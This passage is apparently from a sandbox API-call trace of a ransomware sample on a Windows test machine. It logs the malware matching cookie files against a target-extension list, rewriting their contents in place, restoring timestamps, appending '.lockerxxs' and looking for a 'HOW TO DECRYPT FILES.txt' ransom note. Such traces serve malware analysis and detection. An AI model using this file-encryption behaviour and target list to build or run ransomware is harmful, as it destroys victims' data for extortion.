pszSpec="*.sql") returned 0 [0088.487] lstrlenA (lpString="*.sql") returned 5 [0088.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.mdb") returned 0 [0088.487] lstrlenA (lpString="*.mdb") returned 5 [0088.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.fdb") returned 0 [0088.487] lstrlenA (lpString="*.fdb") returned 5 [0088.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.wab") returned 0 [0088.487] lstrlenA (lpString="*.wab") returned 5 [0088.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.dat") returned 0 [0088.488] lstrlenA (lpString="*.dat") returned 5 [0088.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.txt") returned 1 [0088.488] lstrlenA (lpString="*.txt") returned 5 [0088.488] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" [0088.488] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" [0088.488] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt." [0088.488] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.lockerxxs" [0088.488] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.489] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1ea [0088.489] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x534b4210, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x562c6900, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x562c6900, dwHighDateTime=0x1d2dd9e)) returned 1 [0088.489] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.489] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1c4, lpOverlapped=0x0) returned 1 [0088.491] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt") returned="5p5nrgjn0js_halpmcxz@bing[1].txt" [0088.491] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.491] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1c4, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1c4, lpOverlapped=0x0) returned 1 [0088.491] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.491] CloseHandle (hObject=0x9c) returned 1 [0088.492] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt.lockerxxs")) returned 1 [0088.493] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45798350, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45798350, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45798350, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x1a000319, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@c.bing[1].txt", cAlternateFileName="5P5NRG~2.TXT")) returned 1 [0088.493] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.493] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@c.bing[1].txt") returned 1 [0088.493] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@c.bing[1].txt") returned 1 [0088.493] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@c.bing[1].txt") returned -1 [0088.493] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt") returned="5p5nrgjn0js_halpmcxz@bing[1].txt" [0088.493] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.493] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.493] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.493] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0x2020 [0088.493] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@c.bing[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" [0088.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.ems") returned 0 [0088.493] lstrlenA (lpString="*.ems") returned 5 [0088.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.db") returned 0 [0088.494] lstrlenA (lpString="*.db") returned 4 [0088.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.dbf") returned 0 [0088.494] lstrlenA (lpString="*.dbf") returned 5 [0088.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.myox") returned 0 [0088.494] lstrlenA (lpString="*.myox") returned 6 [0088.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.myo") returned 0 [0088.494] lstrlenA (lpString="*.myo") returned 5 [0088.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.qbw") returned 0 [0088.494] lstrlenA (lpString="*.qbw") returned 5 [0088.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.qbb") returned 0 [0088.494] lstrlenA (lpString="*.qbb") returned 5 [0088.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.qbm") returned 0 [0088.494] lstrlenA (lpString="*.qbm") returned 5 [0088.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.qbo") returned 0 [0088.494] lstrlenA (lpString="*.qbo") returned 5 [0088.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.qbx") returned 0 [0088.494] lstrlenA (lpString="*.qbx") returned 5 [0088.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.qba") returned 0 [0088.495] lstrlenA (lpString="*.qba") returned 5 [0088.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.qby") returned 0 [0088.495] lstrlenA (lpString="*.qby") returned 5 [0088.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.qbj") returned 0 [0088.495] lstrlenA (lpString="*.qbj") returned 5 [0088.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.ofx") returned 0 [0088.495] lstrlenA (lpString="*.ofx") returned 5 [0088.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.qif") returned 0 [0088.495] lstrlenA (lpString="*.qif") returned 5 [0088.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.mye") returned 0 [0088.495] lstrlenA (lpString="*.mye") returned 5 [0088.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.mbox") returned 0 [0088.495] lstrlenA (lpString="*.mbox") returned 6 [0088.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.eml") returned 0 [0088.495] lstrlenA (lpString="*.eml") returned 5 [0088.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.pst") returned 0 [0088.495] lstrlenA (lpString="*.pst") returned 5 [0088.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.ost") returned 0 [0088.496] lstrlenA (lpString="*.ost") returned 5 [0088.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.idx") returned 0 [0088.497] lstrlenA (lpString="*.idx") returned 5 [0088.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.dbx") returned 0 [0088.497] lstrlenA (lpString="*.dbx") returned 5 [0088.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.sql") returned 0 [0088.497] lstrlenA (lpString="*.sql") returned 5 [0088.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.mdb") returned 0 [0088.497] lstrlenA (lpString="*.mdb") returned 5 [0088.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.fdb") returned 0 [0088.497] lstrlenA (lpString="*.fdb") returned 5 [0088.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.wab") returned 0 [0088.497] lstrlenA (lpString="*.wab") returned 5 [0088.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.dat") returned 0 [0088.497] lstrlenA (lpString="*.dat") returned 5 [0088.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", pszSpec="*.txt") returned 1 [0088.497] lstrlenA (lpString="*.txt") returned 5 [0088.497] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" [0088.498] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" [0088.498] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt." [0088.498] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.lockerxxs" [0088.498] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.498] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1c8 [0088.498] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45798350, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45798350, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45798350, dwHighDateTime=0x1d2faf3)) returned 1 [0088.499] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.499] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1a2, lpOverlapped=0x0) returned 1 [0088.501] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt") returned="5p5nrgjn0js_halpmcxz@c.bing[1].txt" [0088.501] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.501] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1a2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1a2, lpOverlapped=0x0) returned 1 [0088.501] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.501] CloseHandle (hObject=0x9c) returned 1 [0088.501] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.lockerxxs")) returned 1 [0088.502] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdf95770, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbdf95770, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbdf95770, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x82, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@c.msn[1].txt", cAlternateFileName="5PB89C~1.TXT")) returned 1 [0088.502] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.502] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@c.msn[1].txt") returned 1 [0088.502] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@c.msn[1].txt") returned 1 [0088.502] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@c.msn[1].txt") returned -1 [0088.502] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt") returned="5p5nrgjn0js_halpmcxz@c.bing[1].txt" [0088.502] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.503] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.506] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt") returned="5p5nrgjn0js_halpmcxz@c.msn[1].txt" [0088.506] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.506] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5c, lpOverlapped=0x0) returned 1 [0088.507] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.507] CloseHandle (hObject=0x9c) returned 1 [0088.507] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js 